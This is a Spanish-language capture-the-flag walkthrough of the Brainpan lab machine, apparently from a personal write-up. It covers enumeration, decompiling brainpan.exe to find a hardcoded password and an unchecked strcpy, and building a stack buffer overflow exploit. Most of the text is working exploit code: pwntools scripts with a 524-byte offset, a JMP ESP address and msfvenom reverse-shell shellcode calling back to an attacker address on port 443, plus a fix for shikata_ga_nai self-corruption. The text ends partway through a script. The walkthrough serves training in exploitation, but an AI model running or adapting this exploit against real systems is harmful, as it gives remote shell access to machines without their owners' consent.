Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
, aunque realmente solo encontramos 2 puertos abiertos, el 9999
y el 10000
❯ nmap 192.168.100.62
Nmap scan report for 192.168.100.62
PORT STATE SERVICE
9999/tcp open abyss
10000/tcp open snet-sensor-mgmt
Al conectarnos con al puerto 9999
vemos programa que nos pide una contraseña
❯ netcat 192.168.100.62 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
Si enviamos una contraseña incorrecta nos devuelve ACCESS DENIED
y termina
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> 1234
ACCESS DENIED
El puerto 10000
corre un servicio http
, que en el index tiene solo una imagen que nos habla de vulnerabilidades comunes y tal, pero no nos aporta demasiado
Podemos usar wfuzz
para aplicar fuerza bruta y encontramos un directorio /bin
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.100.62:10000/FUZZ -t 100 --hc 404
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.100.62:10000/FUZZ
Total requests: 4713
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000854: 301 0 L 0 W 0 Ch "bin"
Si lo miramos desde el navegador podemos ver que tenemos capacidad de listar recursos, este directorio nos comparte un archivo llamado brainpan.exe
Como es un archivo exe
podemos pasarlo a una máquina windows
y ejecutarlo, al hacerlo solo nos dice que se pone en espera de conexiones por el puerto 9999
PS C:\Users\pc1\Desktop> .\brainpan.exe
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
Nos podemos conectar con netcat
al puerto 9999
esta vez usando como direccion la ip de nuestra maquina windows
y vemos la misma aplicación de antes
❯ netcat 192.168.100.5 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
Ya que esta corriendo en la máquina victima analizemos el ejecutable con ida
, donde vemos la función main
donde vemos todo su pseudocódigo c
La función main
inicia un socket en el puerto 9999 y mostrar el banner, despues le pasa el buffer a get_reply
y segun la respuesta muestra un mensaje u otro
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *stack; // esp
int winsock_error; // eax
int socket_error; // eax
int bind_error; // eax
int len_banner; // eax
int len_denied; // eax
int len_granted; // eax
int accept_error; // eax
struct sockaddr addr; // [esp+30h] [ebp-5D8h] BYREF
struct sockaddr name; // [esp+40h] [ebp-5C8h] BYREF
SOCKET client_socket; // [esp+58h] [ebp-5B0h]
SOCKET server_socket; // [esp+5Ch] [ebp-5ACh]
struct WSAData WSAData; // [esp+60h] [ebp-5A8h] BYREF
int reply; // [esp+1F8h] [ebp-410h]
int port; // [esp+1FCh] [ebp-40Ch]
int addrlen; // [esp+200h] [ebp-408h] BYREF
char *granted_message; // [esp+204h] [ebp-404h]
char *denied_message; // [esp+208h] [ebp-400h]
char *banner; // [esp+20Ch] [ebp-3FCh]
char buffer[1016]; // [esp+210h] [ebp-3F8h] BYREF
stack = alloca(16);
__main();
banner = "_| _| \n"
"_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| \n"
"_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|\n"
"_| _| _| _| _| _| _| _| _| _| _| _| _| _|\n"
"_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|\n"
" _| \n"
" _|\n"
"\n"
"[________________________ WELCOME TO BRAINPAN _________________________]\n"
" ENTER THE PASSWORD \n"
"\n"
" >> ";
denied_message = " ACCESS DENIED\n";
granted_message = " ACCESS GRANTED\n";
port = 9999;
reply = 1;
printf("[+] initializing winsock...");
if ( WSAStartup(0x202u, &WSAData) )
{
winsock_error = WSAGetLastError();
printf("[!] winsock init failed: %d", winsock_error);
}
else
{
printf("done.\n");
server_socket = socket(2, 1, 0);
if ( server_socket == -1 )
{
socket_error = WSAGetLastError();
printf("[!] could not create socket: %d", socket_error);
}
printf("[+] server socket created.\n");
name.sa_family = 2;
*(_DWORD *)&name.sa_data[2] = 0;
*(_WORD *)name.sa_data = htons(0x270Fu);
if ( bind(server_socket, &name, 16) == -1 )
{
bind_error = WSAGetLastError();
printf("[!] bind failed: %d", bind_error);
}
printf("[+] bind done on port %d\n", port);
listen(server_socket, 3);
printf("[+] waiting for connections.\n");
addrlen = 16;
while ( true )
{
client_socket = accept(server_socket, &addr, &addrlen);
if ( client_socket == -1 )
break;
printf("[+] received connection.\n");
memset(buffer, 0, 0x3E8u);
len_banner = strlen(banner);
send(client_socket, banner, len_banner, 0);
recv(client_socket, buffer, 1000, 0);
reply = get_reply(buffer);
printf("[+] check is %d\n", reply);
if ( get_reply(buffer) )
{
len_granted = strlen(granted_message);
send(client_socket, denied_message, len_granted, 0);
}
else
{
len_denied = strlen(denied_message);
send(client_socket, granted_message, len_denied, 0);
}
closesocket(client_socket);
}
accept_error = WSAGetLastError();
printf("[!] accept failed: %d", accept_error);
}
return 1;
}
Esta función esta usando strcmp
para comparar nuestro input ingresado con la cadena shitstorm
, asi que parece que tenemos la contraseña
en texto plano
int __cdecl get_reply(char *param_1)
{
size_t len_password; // eax
char password[520]; // [esp+10h] [ebp-208h] BYREF
printf("[get_reply] s = [%s]\n", param_1);
strcpy(password, param_1);
len_password = strlen(password);
printf("[get_reply] copied %d bytes to buffer\n", len_password);
return strcmp(password, "shitstorm\n");
}
Nos conectamos al puerto 9999
y enviamos la cadena shitstorm
que encontramos, sin embargo aunque nos devuelve ACCESS GRANTED
el programa termina ahi
❯ netcat 192.168.100.62 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> shitstorm
ACCESS GRANTED
El verdadero problema es que esta usando la función strcpy
con un buffer definido que solo es de 520
bytes, por lo que puede ser vulnerable a Buffer Overflow
char password[520];
strcpy(password, param_1);
Buffer Overflow - Stack Based
Para trabajar con los registros usaremos x32dbg con el plugin x64dbgpy y el modulo mona, asi que abrimos brainpan.exe
y lo corremos, ademas de importar el modulo
Necesitamos encontrar la cantidad de bytes
necesarios antes de llegar a EIP
creamos una cadena especial de 600
caracteres usando pattern_create
mona("pattern_create 600")
Esta vez como alternativa a socket
podemos usar remote
del modulo pwn, creamos una conexión y enviamos el patron generado antes con mona pattern_create
#!/usr/bin/python3
from pwn import remote
pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
shell = remote("192.168.100.5", 9999)
shell.sendline(pattern)
shell.close()
Corriendo ya el programa con ejecutamos el script para enviar la cadena de caracteres
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done
[*] Closed connection to 192.168.100.5 port 9999
Volvemos al x32dbg
y podemos ver que el programa se corrompe, el valor de EIP
nos ayudara a saber los bytes
necesarios antes de llegar a este registo
Al pasarle el valor de EIP
a pattern_offset
nos devuelve el offset
, 524
caracteres son necesarios antes de sobreescribir el registro EIP
en el programa
mona("pattern_offset 35724134")
Nuestro script para comprobar enviara 524
bytes de junk
y 4 B
que simulan el EIP
#!/usr/bin/python3
from pwn import remote
offset = 524
junk = b"A" * offset
eip = b"B" * 4
payload = junk + eip
shell = remote("192.168.100.5", 9999)
shell.sendline(payload)
shell.close()
Corremos de nuevo el exe
y al ejecutar el script podemos ver reflejadas las 4 B
en el registro EIP
significa que nuestro offset de 524
bytes es correcto
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done
[*] Closed connection to 192.168.100.5 port 9999
Lo siguiente sera detectar badchars
por lo que con mona
crearemos una lista con todos los caracteres posibles, esto nos creara un archivo txt
y un bin
Modificaremos el script para que despues del EIP
envie nuestros posibles badchars
#!/usr/bin/python3
from pwn import remote
offset = 524
junk = b"A" * offset
eip = b"B" * 4
badchars = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = junk + eip + badchars
shell = remote("192.168.100.5", 9999)
shell.sendline(payload)
shell.close()
Enviamos los caracteres y lo que nos interesa para comparar es la dirección del ESP
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done
[*] Closed connection to 192.168.100.5 port 9999
Lo siguiente es con mona
comparar el .bin
que nos creo con la dirección del ESP
actual, como resultado nos muestra que se corrompe despues de 1
byte quiere decir que el 00
esta corrompiendo el resto de caracteres que estan delante de el
mona("compare -f bytearray.bin -a ESP")
Creamos un nuevo bytearray
esta vez quitando el \x00
que vimos es un badchar
mona("bytearray -cpb '\\x00'")
Modificamos el script ahora con el nuevo bytearray
que no incluye el caracter \x00
#!/usr/bin/python3
from pwn import remote
offset = 524
junk = b"A" * offset
eip = b"B" * 4
badchars = b""
badchars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
badchars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
badchars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
badchars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
badchars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
badchars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
badchars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = junk + eip + badchars
shell = remote("192.168.100.5", 9999)
shell.sendline(payload)
shell.close()
Enviamos y al volver a hacer el mona compare
podemos ver unmodified
quiere decir que todos los caracteres enviados se procesaron correctamente en el programa
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done
[*] Closed connection to 192.168.100.5 port 9999
Listando los modulos con mona
encontramos que solo esta brainpan.exe
sin nunguna proteccion, asi que podemos inyectar shellcode
malicioso en la pila
Para llegar a la pila donde enviaremos el shellcode para que se interprete necesitamos una dirección que ejecute la instrucción JMP ESP
mona("jmp -r esp -m brainpan.exe")
Iniciamos un script definiendo el junk
y la direccion que ejecuta el JMP ESP
#!/usr/bin/python3
from pwn import remote, p32
offset = 524
junk = b"A" * offset
jmpesp = p32(0x311712f3)
Con msfvenom
crearemos un shellcode
que nos envie una shell
a nuestro equipo
-p windows/shell_reverse_tcp # Indica la plataforma y el payload
LHOST=192.168.100.85 # Indica el host del atacante
LPORT=443 # Indica el puerto del atacante
EXITFUNC=thread # Indica que se ejecutara en un hilo
-b '\x00' # Indica todos los badchars
-f python # Indica el formato del shellcode
-v shellcode # Indica el nombre de la variable
❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.85 LPORT=443 EXITFUNC=thread -b '\x00' -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode = b""
shellcode += b"\xda\xc2\xd9\x74\x24\xf4\x58\xbd\x91\x4d\xed"
shellcode += b"\x34\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13"
shellcode += b"\x03\xf9\x5e\x0f\xc1\x05\x88\x4d\x2a\xf5\x49"
shellcode += b"\x32\xa2\x10\x78\x72\xd0\x51\x2b\x42\x92\x37"
shellcode += b"\xc0\x29\xf6\xa3\x53\x5f\xdf\xc4\xd4\xea\x39"
shellcode += b"\xeb\xe5\x47\x79\x6a\x66\x9a\xae\x4c\x57\x55"
shellcode += b"\xa3\x8d\x90\x88\x4e\xdf\x49\xc6\xfd\xcf\xfe"
shellcode += b"\x92\x3d\x64\x4c\x32\x46\x99\x05\x35\x67\x0c"
shellcode += b"\x1d\x6c\xa7\xaf\xf2\x04\xee\xb7\x17\x20\xb8"
shellcode += b"\x4c\xe3\xde\x3b\x84\x3d\x1e\x97\xe9\xf1\xed"
shellcode += b"\xe9\x2e\x35\x0e\x9c\x46\x45\xb3\xa7\x9d\x37"
shellcode += b"\x6f\x2d\x05\x9f\xe4\x95\xe1\x21\x28\x43\x62"
shellcode += b"\x2d\x85\x07\x2c\x32\x18\xcb\x47\x4e\x91\xea"
shellcode += b"\x87\xc6\xe1\xc8\x03\x82\xb2\x71\x12\x6e\x14"
shellcode += b"\x8d\x44\xd1\xc9\x2b\x0f\xfc\x1e\x46\x52\x69"
shellcode += b"\xd2\x6b\x6c\x69\x7c\xfb\x1f\x5b\x23\x57\xb7"
shellcode += b"\xd7\xac\x71\x40\x17\x87\xc6\xde\xe6\x28\x37"
shellcode += b"\xf7\x2c\x7c\x67\x6f\x84\xfd\xec\x6f\x29\x28"
shellcode += b"\xa2\x3f\x85\x83\x03\xef\x65\x74\xec\xe5\x69"
shellcode += b"\xab\x0c\x06\xa0\xc4\xa7\xfd\x23\x2b\x9f\x99"
shellcode += b"\xe6\xc3\xe2\x61\x08\xaf\x6a\x87\x60\xdf\x3a"
shellcode += b"\x10\x1d\x46\x67\xea\xbc\x87\xbd\x97\xff\x0c"
shellcode += b"\x32\x68\xb1\xe4\x3f\x7a\x26\x05\x0a\x20\xe1"
shellcode += b"\x1a\xa0\x4c\x6d\x88\x2f\x8c\xf8\xb1\xe7\xdb"
shellcode += b"\xad\x04\xfe\x89\x43\x3e\xa8\xaf\x99\xa6\x93"
shellcode += b"\x6b\x46\x1b\x1d\x72\x0b\x27\x39\x64\xd5\xa8"
shellcode += b"\x05\xd0\x89\xfe\xd3\x8e\x6f\xa9\x95\x78\x26"
shellcode += b"\x06\x7c\xec\xbf\x64\xbf\x6a\xc0\xa0\x49\x92"
shellcode += b"\x71\x1d\x0c\xad\xbe\xc9\x98\xd6\xa2\x69\x66"
shellcode += b"\x0d\x67\x99\x2d\x0f\xce\x32\xe8\xda\x52\x5f"
shellcode += b"\x0b\x31\x90\x66\x88\xb3\x69\x9d\x90\xb6\x6c"
shellcode += b"\xd9\x16\x2b\x1d\x72\xf3\x4b\xb2\x73\xd6"
Agregamos esto al script además de la conexión para enviar todo nuestro payload
#!/usr/bin/python3
from pwn import remote, p32
offset = 524
junk = b"A" * offset
jmpesp = p32(0x311712f3)
shellcode = b""
shellcode += b"\xda\xc2\xd9\x74\x24\xf4\x58\xbd\x91\x4d\xed"
shellcode += b"\x34\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13"
shellcode += b"\x03\xf9\x5e\x0f\xc1\x05\x88\x4d\x2a\xf5\x49"
shellcode += b"\x32\xa2\x10\x78\x72\xd0\x51\x2b\x42\x92\x37"
shellcode += b"\xc0\x29\xf6\xa3\x53\x5f\xdf\xc4\xd4\xea\x39"
shellcode += b"\xeb\xe5\x47\x79\x6a\x66\x9a\xae\x4c\x57\x55"
shellcode += b"\xa3\x8d\x90\x88\x4e\xdf\x49\xc6\xfd\xcf\xfe"
shellcode += b"\x92\x3d\x64\x4c\x32\x46\x99\x05\x35\x67\x0c"
shellcode += b"\x1d\x6c\xa7\xaf\xf2\x04\xee\xb7\x17\x20\xb8"
shellcode += b"\x4c\xe3\xde\x3b\x84\x3d\x1e\x97\xe9\xf1\xed"
shellcode += b"\xe9\x2e\x35\x0e\x9c\x46\x45\xb3\xa7\x9d\x37"
shellcode += b"\x6f\x2d\x05\x9f\xe4\x95\xe1\x21\x28\x43\x62"
shellcode += b"\x2d\x85\x07\x2c\x32\x18\xcb\x47\x4e\x91\xea"
shellcode += b"\x87\xc6\xe1\xc8\x03\x82\xb2\x71\x12\x6e\x14"
shellcode += b"\x8d\x44\xd1\xc9\x2b\x0f\xfc\x1e\x46\x52\x69"
shellcode += b"\xd2\x6b\x6c\x69\x7c\xfb\x1f\x5b\x23\x57\xb7"
shellcode += b"\xd7\xac\x71\x40\x17\x87\xc6\xde\xe6\x28\x37"
shellcode += b"\xf7\x2c\x7c\x67\x6f\x84\xfd\xec\x6f\x29\x28"
shellcode += b"\xa2\x3f\x85\x83\x03\xef\x65\x74\xec\xe5\x69"
shellcode += b"\xab\x0c\x06\xa0\xc4\xa7\xfd\x23\x2b\x9f\x99"
shellcode += b"\xe6\xc3\xe2\x61\x08\xaf\x6a\x87\x60\xdf\x3a"
shellcode += b"\x10\x1d\x46\x67\xea\xbc\x87\xbd\x97\xff\x0c"
shellcode += b"\x32\x68\xb1\xe4\x3f\x7a\x26\x05\x0a\x20\xe1"
shellcode += b"\x1a\xa0\x4c\x6d\x88\x2f\x8c\xf8\xb1\xe7\xdb"
shellcode += b"\xad\x04\xfe\x89\x43\x3e\xa8\xaf\x99\xa6\x93"
shellcode += b"\x6b\x46\x1b\x1d\x72\x0b\x27\x39\x64\xd5\xa8"
shellcode += b"\x05\xd0\x89\xfe\xd3\x8e\x6f\xa9\x95\x78\x26"
shellcode += b"\x06\x7c\xec\xbf\x64\xbf\x6a\xc0\xa0\x49\x92"
shellcode += b"\x71\x1d\x0c\xad\xbe\xc9\x98\xd6\xa2\x69\x66"
shellcode += b"\x0d\x67\x99\x2d\x0f\xce\x32\xe8\xda\x52\x5f"
shellcode += b"\x0b\x31\x90\x66\x88\xb3\x69\x9d\x90\xb6\x6c"
shellcode += b"\xd9\x16\x2b\x1d\x72\xf3\x4b\xb2\x73\xd6"
payload = junk + jmpesp + shellcode
shell = remote("192.168.100.5", 9999)
shell.sendline(payload)
shell.close()
Nos ponemos en escucha con netcat
y corremos el exe
desde una shell normal
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
PS C:\Users\pc1\Desktop> .\brainpan.exe
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
Ejecutamos el exploit
y el programa corrompe sin embargo no
recibimos una shell
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done
[*] Closed connection to 192.168.100.5 port 9999
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Shellcode Analisis
Para no solo usar nops
o desplazar la pila porque si, lo que haremos sera analizar las instrucciones de las primeras 2
lineas del shellcode
creado con shikata_ga_nai
"\xda\xc2\xd9\x74\x24\xf4\x58\xbd\x91\x4d\xed"
"\x34\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13"
Para verlo en ensamblador podemos usar el debugger
, enviamos nuestra petición y haciendo un desensamblado
al ESP
podemos ver las instrucciones que ejecuta
Las primeras 2 lineas shellcode desensamblado
ejecutan las siguientes instrucciones
DAC2 fcmovb st(0),st(2)
D97424 F4 fnstenv m28 ptr ss:[esp-C]
58 pop eax
BD 914DED34 mov ebp,34ED4D91
33C9 xor ecx,ecx
B1 52 mov cl,52
83E8 FC sub eax,FFFFFFFC
3168 13 xor dword ptr ds:[eax+13],ebp
El problema
es bastante evidente, fnstenv
esta almacenando 28
bytes del estado de la FPU 12
bytes antes del ESP
, pero las instrucciones del shellcode inician en el ESP
por lo que al escribirlo los 16 bytes restantes de los 28
a escribir sobreescriben el shellcode, resumiendo podriamos decir que el shellcode
se corrompe a si mismo
D97424 F4 fnstenv m28 ptr ss:[esp-C]
Volviendo al debugger
podemos ver que despues de ejecutar el fnstenv
sobreescribe varias de nuestras instrucciones por el estado del FPU
, por lo que EIP queda en 0000
que al intentar ejecutar nos llevara a un claro ACCESS_VIOLATION
Hay varias soluciones la primera y la mas sencilla es enviar antes 16
nops o 0x90
#!/usr/bin/python3
from pwn import remote, p32, asm
offset = 524
junk = b"A" * offset
nops = asm("nop") * 16
jmpesp = p32(0x311712f3)
shellcode = b""
shellcode += b"\xda\xc2\xd9\x74\x24\xf4\x58\xbd\x91\x4d\xed"
shellcode += b"\x34\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13"
shellcode += b"\x03\xf9\x5e\x0f\xc1\x05\x88\x4d\x2a\xf5\x49"
shellcode += b"\x32\xa2\x10\x78\x72\xd0\x51\x2b\x42\x92\x37"
shellcode += b"\xc0\x29\xf6\xa3\x53\x5f\xdf\xc4\xd4\xea\x39"
shellcode += b"\xeb\xe5\x47\x79\x6a\x66\x9a\xae\x4c\x57\x55"
shellcode += b"\xa3\x8d\x90\x88\x4e\xdf\x49\xc6\xfd\xcf\xfe"
shellcode += b"\x92\x3d\x64\x4c\x32\x46\x99\x05\x35\x67\x0c"
shellcode += b"\x1d\x6c\xa7\xaf\xf2\x04\xee\xb7\x17\x20\xb8"
shellcode += b"\x4c\xe3\xde\x3b\x84\x3d\x1e\x97\xe9\xf1\xed"
shellcode += b"\xe9\x2e\x35\x0e\x9c\x46\x45\xb3\xa7\x9d\x37"
shellcode += b"\x6f\x2d\x05\x9f\xe4\x95\xe1\x21\x28\x43\x62"
shellcode += b"\x2d\x85\x07\x2c\x32\x18\xcb\x47\x4e\x91\xea"
shellcode += b"\x87\xc6\xe1\xc8\x03\x82\xb2\x71\x12\x6e\x14"
shellcode += b"\x8d\x44\xd1\xc9\x2b\x0f\xfc\x1e\x46\x52\x69"
shellcode += b"\xd2\x6b\x6c\x69\x7c\xfb\x1f\x5b\x23\x57\xb7"
shellcode += b"\xd7\xac\x71\x40\x17\x87\xc6\xde\xe6\x28\x37"
shellcode += b"\xf7\x2c\x7c\x67\x6f\x84\xfd\xec\x6f\x29\x28"
shellcode += b"\xa2\x3f\x85\x83\x03\xef\x65\x74\xec\xe5\x69"
shellcode += b"\xab\x0c\x06\xa0\xc4\xa7\xfd\x23\x2b\x9f\x99"
shellcode += b"\xe6\xc3\xe2\x61\x08\xaf\x6a\x87\x60\xdf\x3a"
shellcode += b"\x10\x1d\x46\x67\xea\xbc\x87\xbd\x97\xff\x0c"
shellcode += b"\x32\x68\xb1\xe4\x3f\x7a\x26\x05\x0a\x20\xe1"
shellcode += b"\x1a\xa0\x4c\x6d\x88\x2f\x8c\xf8\xb1\xe7\xdb"
shellcode += b"\xad\x04\xfe\x89\x43\x3e\xa8\xaf\x99\xa6\x93"
shellcode += b"\x6b\x46\x1b\x1d\x72\x0b\x27\x39\x64\xd5\xa8"
shellcode += b"\x05\xd0\x89\xfe\xd3\x8e\x6f\xa9\x95\x78\x26"
shellcode += b"\x06\x7c\xec\xbf\x64\xbf\x6a\xc0\xa0\x49\x92"
shellcode += b"\x71\x1d\x0c\xad\xbe\xc9\x98\xd6\xa2\x69\x66"
shellcode += b"\x0d\x67\x99\x2d\x0f\xce\x32\xe8\xda\x52\x5f"
shellcode += b"\x0b\x31\x90\x66\x88\xb3\x69\x9d\x90\xb6\x6c"
shellcode += b"\xd9\x16\x2b\x1d\x72\xf3\x4b\xb2\x73\xd6"
payload = junk + jmpesp + nops + shellcode
shell = remote("192.168.100.5", 9999)
shell.sendline(payload)
shell.close()
Los nops
no ejecutaran nada antes del shellcode pero al llegar a la instruccion de fnstenv
y este sobreescriba 16
bytes despues del ESP
sobreescribira los nops del inicio sin llegar a tocar el shellcode
por lo que este no se corrompera como antes
Otra forma es usar un opcode
que desplaze la pila 16 unidades que en hex es 0x10
, el proposito es el mismo, hacer que el ESP
este 16 bytes atras para cuando los sobreescriba en la instruccion fnstenv
no llegue a sobreescribir shellcode
#!/usr/bin/python3
from pwn import remote, p32, asm
offset = 524
junk = b"A" * offset
opcode = asm("sub esp, 0x10")
jmpesp = p32(0x311712f3)
shellcode = b""
shellcode += b"\xda\xc2\xd9\x74\x24\xf4\x58\xbd\x91\x4d\xed"
shellcode += b"\x34\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13"
shellcode += b"\x03\xf9\x5e\x0f\xc1\x05\x88\x4d\x2a\xf5\x49"
shellcode += b"\x32\xa2\x10\x78\x72\xd0\x51\x2b\x42\x92\x37"
shellcode += b"\xc0\x29\xf6\xa3\x53\x5f\xdf\xc4\xd4\xea\x39"
shellcode += b"\xeb\xe5\x47\x79\x6a\x66\x9a\xae\x4c\x57\x55"
shellcode += b"\xa3\x8d\x90\x88\x4e\xdf\x49\xc6\xfd\xcf\xfe"
shellcode += b"\x92\x3d\x64\x4c\x32\x46\x99\x05\x35\x67\x0c"
shellcode += b"\x1d\x6c\xa7\xaf\xf2\x04\xee\xb7\x17\x20\xb8"
shellcode += b"\x4c\xe3\xde\x3b\x84\x3d\x1e\x97\xe9\xf1\xed"
shellcode += b"\xe9\x2e\x35\x0e\x9c\x46\x45\xb3\xa7\x9d\x37"
shellcode += b"\x6f\x2d\x05\x9f\xe4\x95\xe1\x21\x28\x43\x62"
shellcode += b"\x2d\x85\x07\x2c\x32\x18\xcb\x47\x4e\x91\xea"
